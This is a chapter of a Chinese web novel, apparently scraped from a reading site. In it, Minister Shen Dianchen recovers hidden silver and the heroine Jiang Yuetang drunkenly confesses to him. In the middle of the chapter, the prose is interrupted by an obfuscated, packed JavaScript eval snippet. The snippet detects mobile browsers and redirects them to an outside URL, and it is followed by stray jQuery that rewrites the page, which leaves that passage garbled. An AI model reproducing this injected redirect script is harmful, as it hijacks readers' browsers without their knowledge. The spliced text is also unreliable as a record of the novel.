13. 第十三章
作品:《一门双至尊 炮灰也能起飞(穿书)》 寒风穿过山涧,发出阵阵呜咽,混合着火把燃烧的哔啵声,被迅速且凌乱的脚步声掩盖,身着甲胄的官兵,很快团团围住了那几十个箱子。
“打开看看。”
沈殿臣站在一个箱子前,看着手下应声开箱,那些黄澄澄泛着光彩的东西,瞬间映入眼帘。
“大人,是黄金!”
手下高呼一声,紧接着此起彼伏的响起不同的声线:
“大人,是银子!”
“这箱也是银子!”
“都是银子!”
“......”
原来她竟然是叫我这样来取银子,饶是不苟言笑如沈殿臣,在看到这样多的钱之后,脸上的神情也有了一丝松动。
有了这笔钱,来年的国运便可保住了。
“所缴银两悉数封存,连夜送往国库。”
刚做好安排,就看见一个侍卫手里拿着几张纸,小跑着来到身前:“大人,这是在箱子里发现的。”
接过纸,双手摊开那些画得潦草的纸张仔细翻看,发现每张纸上的内容都是一样的,都歪歪扭扭的写着几个大字:
【尔等赃财我尽取之,若敢声张,上报沈相,九族不保。】
这字迹,好生眼熟......
“大人,原来这伙人是惊天神盗团!”
根本来不及细想,耳边副官的话刚说完,眼前就递过来一个一块令牌,沈殿臣顺手接过,冰凉的令牌沉甸甸的压在手心,正面刻着“惊天”二字,反面刻着“神盗”二字。
惊天神盗团?这几天京城里都在传的那个神秘组织?
指腹在令牌上摩挲片刻,拿起刚才那几张字迹潦草的纸,伸到侍卫手中的火把上方,看着火舌卷着纸张越烧越旺,最后扔在地上,看着它们化为灰烬才算放心。
“回城。”
看着官兵把几十辆装钱车堂而皇之的推走,黑漆漆的山林里突然传出一声低语:“大哥,幸好你安排了几个兄弟走了别的路,不然碰上沈殿臣,就全都没了。”
石铁山视线锁定在山涧里队伍前方那个身影上,又回想起几天前那个在一笑堂的女人,想也没想就骂了句:
“你懂个屁!”
说完起身,踢了踢身边人的屁股:“没事了,叫兄弟们都可以回了。”
......
钱还在半路上的时候,沈殿臣就派人去请户部尚书,所以钱送进京城后,户部各个官员便已经等待多时了,双方顺利的完成了交接。
“恭喜沈相,有了这些钱,来年可就有底气了!”
“本相还需回去连夜写折子,清点的事情辛苦诸位了。”
取钱的过程比想象中的更轻松,不知道她是如何想到这样一个方法的?
思绪回到眼前,看她半个身子斜倚在书桌上,正等待着自己的回应。
“你说过不问不追不查,取钱就行,所以我没追,不过......”
眼看她原本沉下去的胸腔再次鼓起,眸中依旧是疑惑,却带了些担忧:“不过什么?”
“以后不要把自己的信息留在现场,很容易被追查到。”
江月棠瞬间意识到他是在说那几张纸的事情,她知道容易被发现,但她也不是没有考虑,便脱口而出:
“我现在字是丑,但是我正在学,等过段时间字写好了,就完全查不到了。”
“歪理。”
沈殿臣不多说,只拿起笔打算写折子,正要落笔,耳边再次传来她的话音:“那大人呢?”
“什么?”他抬眸望她,不解。
“大人有没有受伤,或者被怀疑?”
从进门到现在,江月棠的视线在他身上逡巡了许多遍,早已看到他身上没有任何打斗迹象,却还是想听他亲口确认。
“没有。”
“那就好。”终于得到了想要的答案,忍不住吐了口气,身子从倚靠在桌上变成单手撑在桌上,坐上了桌沿一小块地方,话音变得轻松:
“我这几天都紧张死了,倒不是怕计划失败我担上干系,而是怕害了大人你。”
沈殿臣的视线落在被坐的桌沿上,敢这么肆无忌惮坐他书桌的,她是第一个,也是唯一的一个,嘴上却并未追究:“为什么?”
手中笔迟迟无法落下,却见她叹了口气,手指绞着胸前的发丝,语气漫不经心:
“因为如果只关乎我一个人,那倒是无所谓,我反正已经是死过一次的人了,但是大人你不一样,你不能有事,更不能因为我有事。”
死过一次的人了?
她是指被大雪冻死的那次吗?
“为什么?”
他也不知道自己具体问的什么,只知道她现在的状态并不算清醒,心里隐秘的想听她说些什么,却又害怕她真说了些什么。
“因为我知道你是个很好很好的人啊,我不想好人受到伤害。”
她说这话的时候,突然转过脸来,因她是坐在桌上,比自己坐在椅子上高出不少,所以不得不仰头看她。
进入府中以来,每日好好养着,脸颊上多出了许多肉,多了些娇憨,此刻她眼眸中尽是笑意,脸上的红晕有消退迹象,烛火的光亮映在她脸上,照得整个人都在发光。
下意识捏紧手中的笔身,笔尖墨水终于滴落在纸上,洇开一小片墨迹,就像是在他的心里投下了一小块石子,泛起的阵阵涟漪。
“仅此而已?”
沈殿臣鬼使神差的起身,从方才的仰视转变为微微的俯视,这才见到她额边的头发濡湿,眼眸迷离,双唇泛着水光。
“当然不止这些啦。”
因为位置的变化,江月棠从方才的俯视也变成了仰视,他此刻正垂着眸,耳后的发丝并未全部束起,有一些垂在胸前,想也没想就捻起他的发丝,和自己的头发合在一起把玩。
“比如还有我很早就开始喜欢你啦、你有事就不能娶我......”
话未说完,她手上动作一滞,甚至扯动着他耳后头皮发痛,下一刻,整个人瞬间从桌子上滑了下去,在地上摔了个结结实实。
“呀!”
惊呼声伴随着重物落地声,震得沈殿臣心头一颤,很快,传来一声夹杂着呼吸的话语:
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17346850|199510||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“大人别担心,我没事......”
江月棠捂着嘴,嘴上可以撒谎,膝盖上的痛感可撒不了谎,在痛得叫出声后,及时捂了嘴,把大部分声音都咽回去了。
江月棠啊江月棠,你在酒后乱性!这么随便的就说出来了,人家会认为你轻浮浪荡的,天天嘴没个把门的。
好了,这下全都清醒了,好在及时反应过来了,没有做出说出更多出格的事情,沈殿臣是个老古板,攻略他要循序渐进才行。
弓着脊背趴在地上,将整张脸都埋手臂上,鼻尖几乎要贴地面了,一手轻捶着地面,凉意如水蔓延上贴近地面的脸颊,热意才稍稍削减。
耳边传来细微脚步声,微微抬头,藏蓝的衣摆出现在眼前,上面的海水纹在昏暗的烛火下泛着淡淡的光辉,紧接着,眼前出现了一只手,修长的手指微微弯曲参差错落,掌纹在手心嵌下深深的沟壑。
他的手,真好看,摸起来手感一定很好......
沈殿臣垂眸,只在她泛着绯色的脸上轻瞥一下,随后飞快地将视线移开,看向门外漏出来的墨色夜空。
廊下一个男人的身影闯入视线,飞快的朝着书房的方向而来,他不得已把视线重新落在正在发呆的姑娘身上,稳住声线:
“还疼吗?”
江月棠身形一颤,慌忙抬手抓住眼前的手,借着他的力起身,说话含糊不清:“不、不疼了。”
话音刚落,他的手已经抽离了掌心,人也已经回到书桌前,抬手执笔,视线落在桌上,话音淡漠:
“不疼了就先退下,本相还有事要处理。”
“嗯?”她愣住,手还在半空中未曾落下,掌心的余温也还在,身子却没动,直到身后传来了脚步声才挪动。
“沈相,家中急报!”
她转身和谢晋擦肩而过,耳边响起这句话,便下意识的转头看向沈殿臣,他手中笔杆微动,已在处理正事,就连谢晋的话,都未能惊动他半分起伏。
“何事?”
视线里的身影终于消失在门外,沈殿臣这才抬起眼皮,抓起身前写得污糟的折子,顺手扔进了一旁的废纸篓里,这才伸手拿着谢晋递过来的书信,拆了火漆,展开信纸。
“家中被盗,明日回府。”
纸上寥寥八字,却仿佛有千斤重,压得胸口发闷。
沉思半晌,执笔写下回复,又交给垂首立在一旁的人:“尽快送回。”
谢晋接过书信,穿过廊下一盏盏昏黄的灯,又走过翠竹疏影的假山,最后穿过影壁,在大门口把信交给沈府来的小厮。
拜谢后,小厮翻身上马,消失在夜色中。
今夜的雪已经停了几个时辰了,这时地面上都是寒气凝结的冰晶,马蹄重重踏下,冰晶瞬间碎裂,随着褐色的泥浆被甩在身后,沾上了骑马人的衣袍。
但他们此时可顾不得这些,只顾一心抽打马匹,最后在天色朦胧的时候到了主人家门口,下马时被门前光滑的冰层滑倒,但也顾不得许多,强拖着剧痛的双腿敲开了主人家的大门:
“快些告诉大人,宝库被盗了!”

